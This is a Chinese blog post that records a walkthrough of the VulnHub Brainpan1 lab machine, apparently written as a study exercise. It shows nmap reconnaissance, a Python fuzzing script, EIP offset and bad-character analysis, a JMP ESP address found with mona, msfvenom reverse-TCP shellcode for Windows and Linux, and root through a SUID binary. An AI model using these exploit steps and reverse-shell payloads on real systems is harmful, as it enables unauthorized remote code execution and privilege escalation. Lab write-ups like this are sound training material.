Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5
1396 字
7 分钟
vulnhub靶机-Brainpan1渗透(缓冲区溢出利用)

vulnhub靶机-Brainpan1渗透(缓冲区溢出利用)#

声明#

  1. 本文为个人跟随b站up主红队笔记学习vulnhub的Brainpan1靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
  2. 该靶机下载地址为’https://vulnhub.com/entry/brainpan-1,51/’,immunity debugger下载见’https://github.com/kbandla/ImmunityDebugger’,mona模块下载和用法见’https://github.com/corelan/mona’,badchars

渗透流程#

  1. 在vmware部署靶机并开机后,首先打开kali对靶机进行信息收集,使用nmap执行sudo nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.154为靶机(192.168.245.136为我的kali虚拟机的地址),并进行端口发现,执行sudo nmap --min-rate 10000 -p- 192.168.245.154,并对开放端口记录用于后续渗透,发现9999和10000端口。 ip&ports
  2. 对端口进行详细扫描,执行sudo nmap -sT -sV -sC -O -p9999,10000 192.168.245.154,9999端口是交互界面,10000端口是http服务。 details
  3. 执行sudo nmap --script=vuln -p9999,10000 192.168.245.154用脚本扫一下漏洞,没有什么发现。 vulnscan
  4. 访问10000端口的http服务,简单浏览后用dirb进行目录爆破(其它爆破工具也可以)。 http dirb
  5. 查看bin目录,发现brainpan.exe,先使用wget将exe文件保存下来。 bin wget
  6. 接下来探测9999端口,使用sudo nc 192.168.245.154 9999连接端口并尝试交互。 nc
  7. 转向刚才下载的brainpan.exe,分别用file、binwalk、strings查看文件详细信息、是否有捆绑文件以及文件内容。 detect
  8. 找到一个词为shitstorm,不知道是否和密码有关系。 shitstorm
  9. 再次nc连接9999端口,使用shitstorm登录,得到’ACCESS GRANTED’但是什么也没发生。 pw
  10. 在windows系统上运行该exe文件。 exec
  11. 尝试连接windows主机9999端口 passwd
  12. 从brainpan.exe的窗口看到以下信息,知道了其功能是将输入的字符存至缓冲区,可以尝试验证有没有缓冲区溢出漏洞。 buffer
  13. 写一个python脚本负责连接和发送:
#!/usr/bin/python
import socket
import time
import sys
size = 100
while True:
try:
print "\n[+] Send evil buffer %s bytes" % size
buffer = 'A' * size
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.245.1",9999))
s.send(buffer)
s.close()
size += 100
time.sleep(3)
except:
print "\n[+] Could not connect."
sys.exit()

py 14. 使用python2.7执行该代码。 exec 15. 分别查看状态,发现在执行600字节发送后无回应,说明不超过600字节处存在溢出。 of 16. 使用msf-pattern_create -l 600生成指定长度唯一模式的字符串,用于测定溢出偏移量。 strings 17. 将其写入python脚本,存入buffer变量发送。 revise 18. 使用immunity debugger打开brainpan.exe,用于溢出的定位,程序崩溃时读出EIP内容为0x35724134。 imu 19. 使用msf-pattern_offset -l 600 -q 35724134找到其偏移为524,即前524个字节填满缓冲区,从第525字节开始的连续4个字节(对应35724134)会覆盖 EIP。 offset 20. 再修改python脚本,试图让EIP被四个B覆盖,后面用C填充 ABC 21. 执行前重新启动immunity debugger打开brainpan.exe,发现如愿整齐填充。 check 22. 继续修改让C字符扩容到500个,目的是检测能够正常存入多少字节内容,用于后续在eip后写入shellcode。 enlarge 23. 记录正常存储C的首末地址,用于下一步计算。 calculate 24. 输入python,回车后对地址减法运算,得知正常填充C个数为468个,一般shellcode应该可以写入。 calculate 25. 执行git clone https://github.com/cytopia/badchars.git克隆github上的badchars库,用于筛查坏字节。 badchars 26. 将badchars写入python脚本,重新通过immunity debugger打开brainpan.exe badchars 27. 对窗口的esp右键并点击follow in dump,经过检查从01-FF均完整显示,只有00为坏字节。 badchars 28. 用msf-nasm_shell,查询jmp esp的操作码为FFE4。 nasm 29. 使用immunity debugger的mona插件执行!mona modules进行模块查看,brainpan.exe的ASLR、SafeSEH、CFG均为False,很适合缓冲区溢出利用。 modules 30. 执行!mona find -s "\xff\xe4" -m brainpan.exe找到跳转指令的地址为0x311712f3 find 31. 生成payload:执行sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.245.136 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c shellcode 32. 把shellcode写入python脚本。(此处”\x90” * 16为slide字节用于缓冲,使能精准执行后面的shellcode) shellcode 33. 在kali上打开监听,然后执行python脚本,测试成功,拿到反弹shell。 nc 34. 执行sudo msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.245.136 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c生成linux的payload并修改(方法均与上面相同),启动监听执行脚本拿到靶机的反弹shell。 getshell 35. 使用python提高shell交互性。 pythonshell 36. 在按照提示执行/home/anansi/bin/anansi_util时,如图可交互处可以直接执行!/bin/bash提权。 privilege 37. 成功提权,拿到root的shell,渗透结束。 rooted

其它补充#

  1. 步骤31的各名词解释:
  • ASLR:False 表示该模块每次加载时内存地址都是固定的。意味着一旦找到可用的跳转地址,它就永远有效。
  • SafeSEH:False 意味着该模块的异常处理函数没有被保护,可以被溢出攻击覆盖并劫持执行流程。
  • CFG:False 表示没有启用控制流保护,攻击者可以轻松地将程序执行跳转到恶意代码上。
  1. 步骤38处,原理是该文件带有SUID,交互处执行指令/bin/bash开启子进程,继承权限为进程所有者root,进而拿到root的shell,这是一个经典SUID提权漏洞。
  2. 对于坏字节的检验:很多时候程序中,某些字节有特殊解析规则,如结束,转义等,绕开这些字节,payload才能完整正常执行。
vulnhub靶机-Brainpan1渗透(缓冲区溢出利用)
http://124.70.202.140/posts/post-8/8/
作者
Ne+N3k_O
发布于
2026-02-06
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时